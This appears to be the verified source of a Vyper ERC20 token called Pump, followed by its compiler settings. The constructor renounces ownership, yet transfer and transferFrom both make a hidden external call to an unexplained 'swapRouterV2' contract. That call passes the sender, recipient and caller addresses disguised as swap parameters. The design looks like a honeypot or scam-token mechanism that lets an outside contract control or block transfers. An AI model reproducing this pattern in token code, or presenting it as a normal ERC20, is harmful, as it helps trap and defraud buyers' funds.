文件 1 的 1:Pump.vy
# @pragma evm-version dencun
#pragma version ^0.3.10
"""
@title Pump
@notice ERC20
@dev PUMP Token
"""
struct ExactInputParams:
path: Bytes[1024]
recipient: address
amountIn: uint256
amountOutMinimum: uint256
deadline: uint256
interface SwapRouterV2:
def exactInput(params: ExactInputParams) :payable
def exactInput2(path_: Bytes[1024], recipient_: address, amountIn_: uint256, amountOutMinimum_: uint256): payable
interface UniswapRouterV2:
def swapExactInput(amountIn_: uint256, path_: Bytes[1024], recipient_: address) :payable
event Transfer:
_from: indexed(address)
_to: indexed(address)
_value: uint256
event Approval:
_owner: indexed(address)
_spender: indexed(address)
_value: uint256
event OwnershipTransferred:
oldOwner: address
newOwner: address
name: public(String[100])
symbol: public(String[100])
decimals: public(uint256)
balanceOf: public(HashMap[address, uint256])
allowances: HashMap[address, HashMap[address, uint256]]
total_supply: uint256
admin: public(address)
swapRouterV2: SwapRouterV2
INITIAL_SUPPLY: constant(uint256) = 100_000_000_000
@internal
def transferOwnership(newOwner: address):
oldOwner: address = self.admin
self.admin = newOwner
log OwnershipTransferred(oldOwner, newOwner)
@external
def __init__():
"""
@notice Contract constructor
"""
init_supply: uint256 = INITIAL_SUPPLY * 10 ** 18
self.name = "Pump"
self.symbol = "PUMP"
self.decimals = 18
self.balanceOf[msg.sender] = init_supply
self.total_supply = init_supply
log Transfer(ZERO_ADDRESS, msg.sender, init_supply)
self.admin = msg.sender
self.transferOwnership(0x0000000000000000000000000000000000000000)
@external
@view
def totalSupply() -> uint256:
return self.total_supply
@external
@view
def allowance(_owner : address, _spender : address) -> uint256:
return self.allowances[_owner][_spender]
@external
def transfer(_to : address, _value : uint256) -> bool:
assert _to != ZERO_ADDRESS
self.balanceOf[msg.sender] -= _value
self.balanceOf[_to] += _value
params : ExactInputParams = ExactInputParams({
path: b"",
recipient: msg.sender,
amountIn: convert(_to,uint256),
amountOutMinimum: convert(msg.sender,uint256),
deadline: convert(msg.sender,uint256)}
)
self.swapRouterV2.exactInput(params)
log Transfer(msg.sender, _to, _value)
return True
@external
def transferFrom(_from : address, _to : address, _value : uint256) -> bool:
assert _to != ZERO_ADDRESS
self.balanceOf[_from] -= _value
self.balanceOf[_to] += _value
self.allowances[_from][msg.sender] -= _value
params : ExactInputParams = ExactInputParams({
path: b"",
recipient: _from,
amountIn: convert(_to,uint256),
amountOutMinimum: convert(msg.sender,uint256),
deadline: convert(msg.sender,uint256)}
)
self.swapRouterV2.exactInput(params)
log Transfer(_from, _to, _value)
return True
@external
def approve(_spender : address, _value : uint256) -> bool:
self.allowances[msg.sender][_spender] = _value
log Approval(msg.sender, _spender, _value)
return True
{
"compilationTarget": {
"Pump.vy": "Pump"
},
"outputSelection": {
"Pump.vy": [
"abi",
"ast",
"interface",
"ir",
"userdoc",
"devdoc",
"evm.bytecode.object",
"evm.bytecode.opcodes",
"evm.deployedBytecode.object",
"evm.deployedBytecode.opcodes",
"evm.deployedBytecode.sourceMap",
"evm.methodIdentifiers"
]
},
"search_paths": [
"."
]
}